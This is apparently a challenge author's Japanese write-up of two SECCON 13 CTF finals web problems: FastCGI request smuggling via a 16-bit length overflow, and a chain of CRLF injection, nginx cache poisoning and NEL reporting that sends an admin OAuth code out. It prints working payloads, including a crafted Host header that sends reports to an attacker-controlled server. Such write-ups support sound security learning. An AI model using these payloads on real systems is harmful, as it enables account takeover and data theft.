要約

SECCON 13 CTF決勝戦の作問に誘われたので、「super-fastcgi」という名前の問題と、「not-that-short」という問題の2問を作ってきました。
「super-fastcgi」の方の難易度は「Easy-Medium」、「not-that-short」の方の難易度は「Hard」を想定しており、決勝中の解答率から見ても想定難易度と合致していたかな、という感触でした。

本記事では、それぞれの作問者Writeupと作問記を兼ねて、どういった経緯や意図を持って作問したのかを解説していきます。

はじまり

時は遡ること2025年2月3日、SECCON 13 CTF決勝戦の一ヶ月前、Twitterにてこんなメッセージを受け取りました。

TwitterのDMにて「これは公式の依頼なのですが、近々開催されるSECCON CTFの決勝の作問って興味あったりしますか?」、「Web要員がいなくて作問神を探しています。」

CTFの作問は過去に数回しかしたことがなかったため、決勝戦に出せるクオリティの問題が作れるのか自信がなく、一旦は断ろうとしていました。
しかしながら、他の作問者の方にレビューいただけるとのことであったため、せっかくなら挑戦してみるかということで作問をすることにしました。

super-fastcgi

この問題のコンセプトは、「バイナリプロトコル、やばいなり!」です。
2024年のDEF CON 32で発表された、SQL Injection Isn’t Dead - Smuggling Queries at the Protocol Levelという発表に着想を得て、様々なバイナリベースのプロトコルを調査していた際に得た知見をベースとして作成した問題となります。

この問題は、不適切なFastCGI実装によるRequest Smugglingを行うという趣旨のもので、FastCGIのヘッダの「contentLength」が16ビットであることを利用して、Integer Overflowを発生させてコンポーネント間の解釈を混乱させ、本来フィルタリングされているヘッダ値を設定するのがゴールとなります。

実際に問題のソースコードを読んでいきましょう。

ディレクトリ構造としては、以下のようになっています。

.
├── child
│   ├── child.go
│   └── Dockerfile
├── compose.yaml
├── nginx.conf
└── server
    ├── Dockerfile
    ├── fcgi.go
    ├── go.mod
    └── main.go

まず着目するべきは「nginx.conf」です。nginxの設定ファイルを確認すると、以下のように「$http_givemeflag」が設定されている場合にリクエストが拒否されることがわかります。

つまり、この問題のゴールはどうにかして「Givemeflag」ヘッダをバックエンド側に送信することであると推測できます。

nginx.conf

events {
    worker_connections 1024;
}

http {
    server {
        listen 80;
        server_name localhost;

        # Block requests containing GiveMeFlag in headers
        if ($http_givemeflag) {
            return 403;
        }

        # Forward all other requests to port 9090
        location / {
            proxy_pass http://server:9090;
        }
    }
}

実際、「child」側のコードを確認すると、以下のように「HTTP_GIVEMEFLAG」が「true」の場合にフラグを送信するようになっていることがわかります。

child/child.go 126行目~139行目

func handleRequest(params map[string]string, body []byte) string {

	if params["HTTP_GIVEMEFLAG"] == "true" {
		return "Content-type: text/plain\r\n\r\nOh, you want the flag? Here you go: " + os.Getenv("FLAG")
	}

	response := fmt.Sprintf("Content-type: text/plain\r\n\r\nReceived FastCGI Request\n\nParams:\n")
	for key, value := range params {
		response += fmt.Sprintf("%s: %s\n", key, value)
	}
	response += fmt.Sprintf("\nBody length: %d\n", len(body))

	return response
}

そして、「server」側のコンポーネントを確認すると、以下のようにFastCGIのサーバーが動作していることがわかります。

server/main.go 156行目~171行目

func main() {

        server := NewFastCGIServer(
                "child:9000", // FastCGI application address
        )

        // Create HTTP server
        http.Handle("/", server)

        slog.Info("Starting server on :9090")
        if err := http.ListenAndServe(":9090", nil); err != nil {
                slog.Error("Failed to start server", "error", err)
        }
}

後続の処理を確認すると、以下のように「child」に対してFastCGIプロトコルによるリクエストを送信しているように見受けられます。

server/main.go 24行目~127行目

func (s *FastCGIServer) ServeHTTP(w http.ResponseWriter, r *http.Request) {

        if r.Header.Get("Givemeflag") != "" {
                w.Header().Set("Content-Type", "text/plain")
                w.WriteHeader(http.StatusForbidden)
                w.Write([]byte("You are not allowed to access this resource"))
                return
        }

        // Create FastCGI client
        client, err := NewClient("tcp", s.FcgiAddr)
        if err != nil {
                http.Error(w, "Failed to connect to FastCGI application", http.StatusBadGateway)
                slog.Error("FastCGI connection error", "error", err)
                return
        }

        [...]

        // Send request to FastCGI application
        response, err := client.Do(fcgiReq)
        if err != nil {
                http.Error(w, "Failed to process request", http.StatusBadGateway)
                slog.Error("FastCGI request error", "error", err)
                return
        }
        [...]
}

「ServeHTTP」の最初の方に「r.Header.Get(“Givemeflag”)」が空でなければエラーを返すという処理が存在するため、「nginx -> server」間ではRequest Smugglingによるヘッダの挿入をしても特に意味がないことがわかります。

ということで、次は「server -> child」間でどういった処理が行われているのかを確認していきます。

「server」内の「fcgi.go」というファイルを見ると、FastCGIを自前で実装している様子が確認できます。

server/fcgi.go 12行目~37行目

const (
	FCGI_BEGIN_REQUEST = 1
	FCGI_ABORT_REQUEST = 2
	FCGI_END_REQUEST   = 3
	FCGI_PARAMS        = 4
	FCGI_STDIN         = 5
	FCGI_STDOUT        = 6
	FCGI_STDERR        = 7
	FCGI_DATA          = 8

	FCGI_RESPONDER = 1
	FCGI_VERSION_1 = 1
)

type header struct {
	Version       uint8
	Type          uint8
	RequestID     uint16
	ContentLength uint16
	PaddingLength uint8
	Reserved      uint8
}

type Client struct {
	conn net.Conn
}

この実装を読んでいくと、一箇所おかしなところが見つかります。

server/fcgi.go 130行目~158行目

func (c *Client) writeStdin(requestID uint16, content []byte) error {
	contentSize := len(content)

	h := header{
		Version:       FCGI_VERSION_1,
		Type:          FCGI_STDIN,
		RequestID:     requestID,
		ContentLength: uint16(contentSize),
		PaddingLength: 0,
	}
	[...]
}

本来、「contentLength」の上限に引っかからないように分割で送信されるべき「FCGI_STDIN」レコードが、一切分割されずに送信されているではありませんか。
「content」は、送信するべきリクエストボディそのものであるため、「uint16」の上限を超えてしまうとオーバーフローが発生して本来のレコード長とは異なる値が送信されてしまうことになります。

後続の処理を確認すると、特に「content」を切り捨てたりせずにそのまま送信していることが確認できます。

server/fcgi.go 145行目~147行目

	if _, err := c.conn.Write(content); err != nil {
		return err
	}

つまり、例えば65537バイトのリクエストボディを「server」に向けて送信すると、「FCGI_STDIN」レコードの「contentLength」が1になった状態で、65537バイトのリクエストボディが「child」へ送信されることになります。

「child」側のコードを確認すると、「contentLength」の値を元にレコード内容を読み取っています。

child/child.go 52行目~57行目

		if err := binary.Read(reader, binary.BigEndian, h); err != nil {
			if err != io.EOF {
				slog.Error("Error reading header", "error", err)
			}
			return
		}

前述のようにInteger Overflowが発生すると、本来読まれるべきボディの長さよりも短いバイト数が読まれ、後続のレコードとしてパースするようになってしまいます。

これにより、細工したリクエストボディを送信することで、任意の種別のFastCGIレコードを任意の内容で送ることが可能となります。

例えば、以下のようなリクエストボディを送信すると、先頭の「a」のみがリクエストボディとして扱われ、その後の「\x01」以降が別のレコードとして扱われます。

a\x01\x04\x00\x01\x00\x15\x00\x00\x0f\x04HTTP_GIVEMEFLAGtrue\x01\x05\x00\x01\x00\x00\x00\x00[65499バイトのa]

ここでは、「\x04」 (FCGI_PARAMS)として解釈され、「HTTP_GIVEMEFLAG」が「true」に設定されます。
「true」の後の「\x01\x05…」は0バイトの「FCGI_STDIN」レコードであり、「FCGI_STDIN」の終端として解釈されます。

nginxやserverの時点ではリクエストボディとして解釈されているため、前述のフィルタリングには引っかかりません。
これにより、「child」に対して「HTTP_GIVEMEFLAG」を送信し、「child」からフラグを返させることが可能となります。

not-that-short

この問題のコンセプトは、「NELで問題を練る!」です。
問題を作問する数ヶ月前に、バグバウンティで報告した脆弱性を元に作問したもので、Network Error Logging を用いることによって、同一ドメイン上に送信されたリクエストのクエリパラメーターをリークするという趣旨の問題です。

決勝戦で出題した問題は、リファクタリング時にミスをしてしまったために部分的な非想定解が存在しました。ここでは、後日修正して公開したバージョンを元に解説を行います。

この問題は大きく分けて4段階に分かれているため、一つ一つ見ていきます。
ファイル構造は以下のとおりです。

.
├── admin
│   ├── Dockerfile
│   ├── requirements.txt
│   ├── server.py
│   └── utils
│       ├── auth.py
│       └── utils.py
├── app
│   ├── config
│   │   └── database.py
│   ├── Dockerfile
│   ├── handlers
│   │   └── http_handler.py
│   ├── models
│   │   └── url.py
│   ├── requirements.txt
│   ├── server.py
│   ├── services
│   │   └── shortener.py
│   ├── static
│   │   ├── css
│   │   │   └── style.css
│   │   ├── index.html
│   │   └── js
│   │       └── main.js
│   └── utils
│       ├── auth.py
│       ├── token.py
│       └── utils.py
├── auth
│   ├── Dockerfile
│   ├── package.json
│   ├── package-lock.json
│   ├── server.js
│   └── views
│       ├── home.ejs
│       ├── login.ejs
│       └── register.ejs
├── bot
│   ├── bot.js
│   ├── Dockerfile
│   ├── index.js
│   ├── package.json
│   ├── package-lock.json
│   ├── public
│   │   └── index.html
│   └── server.crt
├── certs
│   ├── server.crt
│   └── server.key
├── compose.yaml
├── nginx.conf
└── README.md

「./admin/」、「./app/」、「./auth/」、「./bot/」がそれぞれ、「Admin用ダッシュボード」、「URL短縮サービス本体」、「OAuthもどきを実装した認証サービス」、「AdminユーザーにURLを報告できるサービス」となっています。

まず初めに、どこからフラグが返されるのかを確認します。

問題説明を確認すると、「Can you access our admin dashboard?」という記載があるため、管理パネルに対してアクセスすることがゴールであると推測できます。

Can you access our admin dashboard?

- App: `https://app.{SECCON_HOST}`
- Auth: `https://auth.{SECCON_HOST}`
- Admin: `https://admin.{SECCON_HOST}`
- Admin bot: `http://{SECCON_HOST}:1337`

*"But this domain isn't short"*? Well, I don't have a budget to purchase a short domain :/

そこで、「admin」の「server.py」を確認すると、以下のようにAdminアカウントによるログインであればフラグが返されるような実装となっています。

admin/server.py 24行目~33行目

@app.route('/auth/callback')
def handle_callback():
    user_data = exchange_user_data(request)
    if not user_data:
        return send_security_headers(make_response('Invalid code or state', 401))

    if user_data.get('user_id') == 1 and user_data.get('username') == 'admin' and user_data.get('is_admin'):
        return send_security_headers(make_response(f'Congratulations! Here is your flag: {FLAG}'))
    else:
        return send_security_headers(make_response("You're not allowed to access this page", 401))

「exchange_user_data」関数は、以下のような実装になっています。

admin/utils/auth.py 15行目~35行目

def exchange_user_data(req) -> Optional[dict]:
    code = req.args.get('code')
    state = req.args.get('state')
    if not code or not state:
        return None

    if state != get_state_from_cookie(req.headers.get('Cookie')):
        return None

    conn = http.client.HTTPConnection('auth', 3000)

    conn.request('GET', f'/auth/id?code={code}&login_target=ADMIN')
    response = conn.getresponse()

    if response.status != 200:
        return None

    user_data = json.loads(response.read().decode())
    conn.close()

    return user_data

「login_target」というパラメーターを認証サーバーに送信することで、ログイン先のアプリケーションが正しいかどうかを検証しているように見受けられますが、よくよく読むと「code」クエリパラメーターが特にエンコード等されずにURL内に挿入されていることがわかります。
つまり、「実際のコード&login_target=別のアプリケーションのID#」といったような値を「code」として送信することで、別アプリケーションの「code」を管理パネルで使用できるわけですね。

ここで、どのようなアプリケーションが存在するかを確認すると、以下のように「ADMIN」と「APP」の2つが存在します。

auth/server.js 22行目~25行目

const LOGIN_TARGETS = new Map([
    ['ADMIN', ADMIN_URL + '/auth/callback'],
    ['APP', APP_URL + '/auth/callback']
]);

「APP_URL」はURL短縮サービス本体を指し示しているため、そちらからコードをリークできないかを確認していきます。

URL短縮サービス本体側を確認すると、「http.server」を用いていることがわかります。

app/server.py 1行目

from http.server import ThreadingHTTPServer

「http.server」は、ドキュメントにも記載がある通り本当に基本的なセキュリティのみを実装しており、様々な落とし穴があります。

https://docs.python.org/3.13/library/http.server.html

Warning: http.server is not recommended for production. It only implements basic security checks. 

そのうちの落とし穴の一つが、「send_header」の挙動です。
なんと、「send_header」関数に渡された値はサニタイズされずにレスポンスとしてそのまま送られるという仕様となっています。

https://github.com/python/cpython/blob/8614f86b7163b1c39798b481902dbb511292a537/Lib/http/server.py#L526-L532

    def send_header(self, keyword, value):
        """Send a MIME header to the headers buffer."""
        if self.request_version != 'HTTP/0.9':
            if not hasattr(self, '_headers_buffer'):
                self._headers_buffer = []
            self._headers_buffer.append(
                ("%s: %s\r\n" % (keyword, value)).encode('latin-1', 'strict'))

つまり、「send_header」に渡されるキーまたは値に対して改行文字等を挿入することで、別のヘッダを挿入できてしまうということになります。
さて、ここでヘッダの値が制御できそうな箇所を探していきます。

すると、以下のような箇所が見つかります。

app/handlers/http_handler.py 70行目~82行目

                original_url = URLShortener.get_original_url(short_code)

                if original_url:
                    parsed_url = urllib.parse.urlparse(original_url)
                    normalized_url = parsed_url.geturl()

                    if parsed_url.scheme != 'http' and parsed_url.scheme != 'https':
                        normalized_url = 'https://' + get_header(self, "Host") + '/' + normalized_url

                    self.send_contents(302, {
                        'Content-Length': '0',
                        'Location': normalized_url
                    }, '')

一件、ユーザーが短縮したリンクを「Location」ヘッダで返しており、CRLFインジェクションが可能であるように見受けられます。
しかしながら、「urlparse」関数は、内部的に以下のように改行文字を削除します。

https://github.com/python/cpython/blob/fccf9ab33d0b16e6171c533d139b6118503197c1/Lib/urllib/parse.py#L91-L504

# Unsafe bytes to be removed per WHATWG spec
_UNSAFE_URL_BYTES_TO_REMOVE = ['\t', '\r', '\n']

[...]

def _urlsplit(url, scheme=None, allow_fragments=True):
    # Only lstrip url as some applications rely on preserving trailing space.
    # (https://url.spec.whatwg.org/#concept-basic-url-parser would strip both)
    url = url.lstrip(_WHATWG_C0_CONTROL_OR_SPACE)
    for b in _UNSAFE_URL_BYTES_TO_REMOVE:
        url = url.replace(b, "")

つまり、ユーザー入力のURLからCRLFインジェクションを行うことはできません。
しかしながら、ユーザーが入力したURLが「http」または「https」以外のスキームを持っていた場合、以下のように現在のホスト名を使ってURLを組み立て直しています。

app/handlers/http_handler.py 76行目~77行目

                    if parsed_url.scheme != 'http' and parsed_url.scheme != 'https':
                        normalized_url = 'https://' + get_header(self, "Host") + '/' + normalized_url

「get_header」関数の中身を見ると、以下のようにURLデコードしていることがわかります。

app/utils/utils.py 12行目~13行目

def get_header(request, header_name):
    return urllib.parse.unquote(request.headers.get(header_name))

どうやってAdminユーザーに細工されたHostヘッダを送らせるのかは一旦置いておくとして、これを用いることでHostヘッダからCRLFインジェクションが可能であるように思えます。

しかしながら、実際に「%0d%0a」というHostヘッダを送ると、404ページが返されてしまいます。 これは、nginxの設定に、「default_server」というパラメーターが指定されているためです。

nginx.conf 60行目~67行目

    server {
        listen 443 default_server ssl;

        ssl_certificate /etc/nginx/certs/fullchain.pem;
        ssl_certificate_key /etc/nginx/certs/privkey.pem;

        return 404;
    }

このパラメーターが指定されている場合、Hostヘッダにマッチする「server_name」が存在しないときに当該のパラメーターが指定されたサーバーにフォールバックするという仕様があります。

今回の場合は、Hostヘッダにおいて「%0d%0a」を指定したため、他の「app.~」などのサーバーにマッチせずに404が返されてしまったわけですね。

さて、ここでnginxがどのようにしてHostヘッダを処理するのかを見てみましょう。

https://github.com/nginx/nginx/blob/d31305653701bd99e8e5e6aa48094599a08f9f12/src/http/ngx_http_request.c#L1847-L1894

static ngx_int_t
ngx_http_process_host(ngx_http_request_t *r, ngx_table_elt_t *h,
    ngx_uint_t offset)
{
    [...]

    host = h->value;

    rc = ngx_http_validate_host(&host, r->pool, 0);

    [...]

    if (ngx_http_set_virtual_server(r, &host) == NGX_ERROR) {
        return NGX_ERROR;
    }

    [...]
}

ここでは、Hostヘッダの値に応じてどの「server」ブロックを使用するかを決定しています。
Hostヘッダの検証をしていそうな「ngx_http_validate_host」関数は、以下のような実装となっています。

https://github.com/nginx/nginx/blob/d31305653701bd99e8e5e6aa48094599a08f9f12/src/http/ngx_http_request.c#L2168-L2257

ngx_int_t
ngx_http_validate_host(ngx_str_t *host, ngx_pool_t *pool, ngx_uint_t alloc)
{
    [...]

    h = host->data;

    state = sw_usual;

    for (i = 0; i < host->len; i++) {
        ch = h[i];

        switch (ch) {
        [...]
        case ':':
            if (state == sw_usual) {
                host_len = i;
                state = sw_rest;
            }
            break;
        [...]
    }

    [...]

    host->len = host_len;

    return NGX_OK;
}

これを見ると、なんと「:」以降の文字列を切り捨てるような処理となっているではありませんか。
つまり、以下のようなホスト名を指定したとしても、nginx側は「server_name」が「app」のホストに対してルーティングを行うということになります。

Host: app:%0d%0ahogehoge

これをHTTP/HTTPSではないURLに対する短縮リンクで用いることにより、先程のCRLFインジェクションが成立するようになります… が、ここで次に問題になるのがどのようにしてそのCRLFインジェクションをAdminユーザーに対して活用するか、という点です。

当然、Adminユーザーは自ら進んで細工されたHostヘッダを送ってくれることはありません。
そこで、どうにかして新しいヘッダが挿入されたレスポンスをキャッシュし、Adminユーザーに送信することを考えます。

nginx.confを確認すると、以下のようにURL短縮サービス本体向けの設定においてキャッシュ設定が存在することが確認できます。

nginx.conf 6行目~30行目

    proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=static_cache:10m max_size=10g inactive=60m use_temp_path=off;

    server {
        listen 443 ssl;
        server_name ${APP_HOSTNAME};
        [...]
        location /static {
            proxy_pass http://app:8000;
            proxy_set_header Host $http_host;
            proxy_set_header X-Forwarded-For $remote_addr;
            proxy_cache static_cache;
            proxy_cache_valid any 5m;
            add_header X-Cache-Status $upstream_cache_status;
            expires 1h;
        }
    }

「/static」配下のパスは、静的ファイルの配信に使われているため一見先ほどのCRLFインジェクションをキャッシュさせることは不可能に思えます。

app/handlers/http_handler 52行目~54行目

            if parsed_path.path.startswith('/static/'):
                self.path = parsed_path.path[len('/static/'):]
                return SimpleHTTPRequestHandler.do_GET(self)

しかしながら、nginxにはoff-by-slashと呼ばれる一般的な設定ミスが存在します。

これは、locationブロックを使用する際に末尾のスラッシュを付けない場合、スラッシュ抜きの文字列で前方一致検索が行われてしまうために意図しないパスに対して設定が適用されてしまうという問題です。

先ほどのlocationブロックを確認すると、末尾のスラッシュが存在しない「/static」という指定がされています。

つまり、このキャッシュルールは「/static」で始まるパスに適用されてしまうということになります。
幸いなことに、この短縮サービスにはユーザーが指定したショートコードで短縮リンクを生成する機能が存在します。

appサーバーのメイン画面において、独自のショートコードを指定する機能がある様子を表している画像

これを用いて「/static」で始まるショートコード (例: staticshortcode) を持つ短縮リンクを作成し、そのうえで前述のような細工されたHostヘッダを送信することで、ヘッダが挿入された状態のレスポンスをキャッシュさせ、そのショートコードに対してアクセスしたユーザーに対して任意のヘッダを持つレスポンスを返すことが可能となります。

さて、ここまで細工されたヘッダを他のユーザーに対して返す方法を解説しましたが、この問題の本質である「どのようにしてCRLFインジェクションによるヘッダ挿入からAdminユーザーの認証情報を窃取するか」という点を解説していません。

ということで、Adminユーザーの認証情報を窃取する部分の解説を行っていきます。

まず、大前提として、どのようなレスポンスに対してヘッダインジェクションができているかを確認します。

HTTP/1.1 302 Found
Server: nginx/1.27.4
Date: Sat, 29 Mar 2025 08:44:04 GMT
Content-Length: 0
Connection: keep-alive
Content-Security-Policy: default-src 'none'; form-action 'none'; script-src-elem 'sha256-AGjXyjxFrQZsoMhDB11IRItDa6oGZdwALkCRHUTaGhc='; style-src-elem 'self'; connect-src 'self';
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
Location: https://app.example.com:
injected: test/example.com
Expires: Sat, 29 Mar 2025 09:44:04 GMT
Cache-Control: max-age=3600
X-Cache-Status: HIT


このように、ヘッダが挿入できているのは302レスポンスの中であり、更に挿入箇所よりも上に厳格なContent-Security-Policyが存在するため、何らかの手段によりブラウザを誤魔化してXSSを試みたとしてもJavaScriptの実行にこぎつけることができません。

そこで、ヘッダ単体でブラウザ側の挙動に影響するものを調べていきます。
すると、「NEL」ヘッダというものが見つかります。

これはNetwork Error Loggingにおいて使用されているヘッダで、仕様書において以下のような説明がなされています。

https://w3c.github.io/network-error-logging/

A web application opts into using NEL by supplying a NEL HTTP response header field that describes the desired NEL policy. This policy instructs the user agent to log information about requests to that origin, and to attempt to deliver that information to a group of endpoints previously configured using the Reporting API. As the name implies, NEL reports are primarily used to describe errors. However, in order to determine rates of errors across different client populations, we must also know how many successful requests are occurring; these successful requests can also be reported via the NEL mechanism.

報告先を定義するために使用されるReporting APIは、送信先として別オリジンのエンドポイントを指定できます。

Report-To: { "group": "endpoints",
              "max_age": 68400,
              "endpoints": [
                { "url": "https://example.com/reports" }
              ] }

そして、Network Error Loggingにおいて送信されるレポート内には、エラーが発生したURLがクエリパラメーターと共に含まれています。

これを利用することで、単一のCRLFインジェクションから、後続の無関係なリクエストにおいて送信されたクエリパラメーター等を外部のオリジンに送信し、窃取することが可能となります。

さて、ここまで長々と見てきましたが、最終的なゴールはAdminユーザーに紐づいた「code」クエリパラメーターを用いてAdminダッシュボード上にアクセスするというものです。

URL短縮サービス本体に対するコールバックは、以下のように「/auth/callback」に対するリクエストで処理しています。

app/handlers/http_handler.py 55行目~67行目

            elif parsed_path.path == '/auth/callback':
                user_data = exchange_user_data(self)
                if not user_data:
                    self.send_error(401, 'Invalid code or state')
                    return

                token = create_jwt_token(user_data)
                self.send_contents(302, {
                    'Content-Length': '0',
                    'Set-Cookie': f'jwt_token={token}; HttpOnly; SameSite=Lax; Path=/',
                    'Location': '/'
                }, '')
                return

「exchange_user_data」関数を見てみると、以下のようにCookieから取得された「state」と、クエリパラメーターで指定された「state」が異なる場合に「None」を返し、エラーレスポンスを返すことがわかります。

utils/auth.py 8行目~17行目

def exchange_user_data(req) -> Optional[dict]:
    parsed_url = urllib.parse.urlparse(req.path)
    query_params = urllib.parse.parse_qs(parsed_url.query)
    code = query_params.get('code', [None])[0]
    state = query_params.get('state', [None])[0]
    if not code or not state:
        return None
    
    if state != get_state_from_cookie(req.headers.get('Cookie')):
        return None
    [...]

つまり、無効な「state」を指定したうえで認証フローを開始し、URL短縮サービス本体に対するコールバックを発生させることで、クエリパラメーターに有効な「code」パラメーターがある状態でエラーレスポンスを返させることが可能です。

これをNELヘッダと組み合わせることにより、以下の手順でAdminユーザーの「code」パラメーターを窃取し、Adminダッシュボードに対してAdminユーザーとして認証、フラグを得ることが可能となります。

  1. 「static」で始まるショートコードを持つ短縮リンクを、HTTP/HTTPSリンク以外を遷移先として指定したうえで作成
  2. 作成した短縮リンクに対して、以下のようなHostヘッダを持つリクエストを送信し、nginxのキャッシュを汚染
Host: app.${BASE_HOSTNAME}:@auth.${BASE_HOSTNAME}%2Fauth%2Flogin?login_target=APP&state=asdf%0d%0aReport-To:%20{"group":"test","max_age":600,"endpoints":[{"url":"攻撃者の制御するサーバー"}]}%0d%0aNEL:%20{"report_to":"test","max_age":600}%0d%0aa:%20
  1. 1で作成した短縮URLをAdminユーザーに送信
  2. しばらく待った後、攻撃者の制御するサーバーに対してAdminユーザーに紐づいた「code」パラメーターが送られてくる
  3. 窃取した「code」パラメーターを元に、以下のようなリクエストをAdminサービスに対して送信する
GET /auth/callback?code=接種した「code」パラメーター%26login_target=APP%23&state=a
Host: admin.example.com
Cookie: state=a
[...]
  1. Adminユーザーとしてログインでき、フラグを得ることができる。

手順2において送信しているHostヘッダにより、以下のような挙動が発生します。

  1. 「%0d%0aReport-To:%20{“group”:“test”,“max_age”:600,“endpoints”:[{“url”:“攻撃者の制御するサーバー”}]}%0d%0aNEL:%20{“report_to”:“test”,“max_age”:600}%0d%0」により、以下のようなヘッダが挿入される。
Report-To: {"group":"test","max_age":600,"endpoints":[{"url":"攻撃者の制御するサーバー"}]}
NEL: {"report_to":"test","max_age":600}
  1. リダイレクト前にNELヘッダが解釈され、Network Error Loggingのルールが登録される。
  2. 「app.${BASE_HOSTNAME}:@auth.${BASE_HOSTNAME}%2Fauth%2Flogin?login_target=APP&state=asdf」により、遷移先のアドレスを「認証サーバー/auth/login?login_target=APP&state=asdf」に変更、無効な「state」パラメーターを指定した状態で認証フローを開始。
  3. Appサービス側への認証コールバック (「/auth/callback」へのリクエスト) において、「state」が一致しないためエラーが発生、前述のNetwork Error Loggingのルールにより、攻撃者の制御するサーバーに「code」クエリパラメーターを含むURLが送信される。

ということで、これらの挙動を組み合わせることによりAdminユーザーのフラグが得られるわけですね。

…というのが作問者が想定していた解法でした。

しかしながら、決勝前直前にリファクタリング作業を行っていた際、ヘッダインジェクションを発生させるパートを以下のように書き換えてしまいました。

app/handlers/http_handler.py 70行目~81行目

                original_url = URLShortener.get_original_url(short_code)

                if original_url:
                    parsed_url = urllib.parse.urlparse(original_url)
                    if parsed_url.scheme != 'http' and parsed_url.scheme != 'https':
                        original_url = 'https://' + get_header(self, "Host") + '/' + parsed_url.geturl()

                    self.send_contents(302, {
                        'Content-Length': '0',
                        'Location': original_url
                    }, '')
                    return

よくよく読んでみると、「original_url」をパースした結果がhttpスキームかhttpsスキームであれば、Locationヘッダに「original_url」をそのまま渡しています。

前述した通り、ユーザーが送信したURLからCRLFインジェクションができないようにするために「urlparse」によって改行文字等が削除される挙動に依存していたため、このミスによりユーザー入力から直接CRLFインジェクションが可能になっていました。

言い換えると、細工されたHostヘッダを送信する箇所や、nginxにそのレスポンスをキャッシュさせる部分などが丸々スキップされることになり、結果として問題の難易度を多少低下させてしまっていました。

決勝戦終了後に、正答した方にその旨をお伝えしてパッチをお渡ししたところ、そこまで時間をかけずに想定解にたどり着いており、「流石だ」という感想を抱きました。

まとめ

今回の記事では、SECCON 13 Finalsで出題した2問の問題についての解説と、それらを作問するに至った経緯を説明しました。
来年も作問を行うかは未確定ですが、もし行うことになった場合は積極的に面白い挙動等を取り入れて行ければと思います。